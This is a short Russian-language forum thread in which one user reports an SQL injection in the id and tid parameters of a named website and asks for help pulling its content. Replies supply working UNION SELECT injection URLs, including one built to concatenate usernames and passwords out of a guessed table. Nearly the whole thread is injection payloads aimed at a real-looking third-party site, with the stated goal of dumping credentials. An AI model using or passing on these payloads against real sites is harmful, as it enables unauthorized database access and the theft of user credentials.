Здрасьте. нашел багу на pimpmyguide.com (эксплойты для онлайн игр). _http://www.pimpmyguide.com/examine.php?id=5&tid=9 Подвержены значения id и tid: _http://www.pimpmyguide.com/examine.php?id=5&tid=9 or tid=6 LIMIT 10-- У самого опыта маловато, вообщем, попытался узнать, поддерживает ли сервер вложенные запросы _http://www.pimpmyguide.com/examine.php?id=5&tid=(SELECT 9) работает, а (SELECT 3+6) не работает Значит нет? _http://www.pimpmyguide.com/examine.php?id=5&tid=6 UNION SELECT null,null,null,null -- - нулей пробовал кучу, все равно не хочет. Хочется контент получить,.. Кто нибудь может помочь? Спасибо.
Держи http://www.pimpmyguide.com/examine.php?id=5&tid=9+union+select+1,2,3,4,char(116,101,115,116),6/*
а смысл то с этого какой???? можно узнать версию, ну тоже смысла мало, вобщем подбирай название таблицы и составь запрос типа такого _http://www.pimpmyguide.com/examine.php?id=1%20union%20select%201,2,3,4,concat(uname,char(58),passwd),6 from название_таблицы/* и читай статьи
